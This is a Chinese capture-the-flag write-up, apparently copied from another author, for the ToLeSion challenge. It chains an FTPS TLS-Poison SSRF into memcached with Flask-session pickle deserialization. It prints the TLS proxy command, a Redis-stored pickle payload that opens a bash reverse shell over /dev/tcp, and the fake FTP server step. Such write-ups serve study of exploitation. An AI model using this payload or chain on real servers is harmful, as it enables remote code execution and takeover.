书接上回,这是烨师傅没有做出来的那一道题,但是还是找到了WP抄下来保存一下
(想复现一次结果发现环境关了,悲,不过也可以自己起一个)
烨队的解题思路:
搭建一个TLS服务器,同时服务器上起一个Redis,redis服务器中保存一个session,vaule为:acftSession: xxxxxxxxx + Pickle反序列化C指令码RCE的Payload
让TLS服务器从Redis中取出可以RCE的session,然后TLS服务器转发流量到FTP服务器上,ftp服务器通过PASV转发到pymemcached
在Python从pymemcache调用缓存数据的时候,flask-session类库会触发session中的pickle反序列化数据,从而造成RCE
Exp可以参考陆队的:https://github.com/ZeddYu/TLS-poison/blob/master/Practice1-hxp2020/solution2/exp.py
需要注意的点在于题目的memcache端口为11200,而非11211,需要修改端口
其次就是要确保有效的SSL证书,不然pycurl会直接中断请求。
文章如下
这道题主要的考点是ftps的TLS-Poison + flask的pickle反序列化。
从源码可以看到,flask使用的是memcached存储session,而flask在读取memcached存储的session时会反序列化这里的内容,因此只需要向memcached写入一个恶意的session,触发反序列化即可。
那么如何向memcached写内容呢?
关于这一点,题目设置了很多的暗(ming)示:
- 标题的ToLeSion,大写字母TLS。
- memcached——经典TLS-Poison受害者。
- pycurl几乎禁用了所有的协议唯独没有禁用FTPS。
- 设置FTP_SKIP_PASV_IP为0。
ftp-skip-pasv-ip设置了curl不要使用被动模式下服务器提供的ip和端口,这个设置在curl 7.74.0版本之后默认是开启的,这里显式设置为0也是一个很强的暗示。
很明显,我们需要使用ftps打TLS-Poison,ssrf写memcached。
关于TLS-Poison,这里推荐一下zeddy师傅的博客,写得非常全面且详细:
感谢zeddy师傅撰写了如此优秀的博客。
简单来说,当客户端使用ftps://ip:port/访问ftp服务器,ftp服务器在被动模式下向客户端指定数据传输的ip和端口,客户端连接服务器该ip和端口时会重用第一次连接的相关信息,这里就导致了ssrf。
针对TLS-Poison的利用,这里推荐一下这个github仓库:
https://github.com/jmdx/TLS-Poison。
我们可以用它来实现TLS层的解析,通过下面的命令监听8000端口并将tls解析之后应用层的内容转发给1234端口:
target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live//fullchain.pem --key /etc/letsencrypt/live//privkey.pem forward 1234
使用redis设置payload:
set payload "\r\nset actfSession:whatever 0 0 \n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp//8080 0>&1\"'\nios\nsystem\n.\r\n"
经过8000端口的解析,转发到1234端口的内容就是普通的ftp请求了。在1234端口开启一个被动模式返回ip和端口是ssrf目标的ftp服务即可,针对本题就是127.0.0.1的11200端口:
python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200
控制目标机访问ftps://
最后监听8080端口,使用上述写入的session访问网站即可触发反序列化getshell。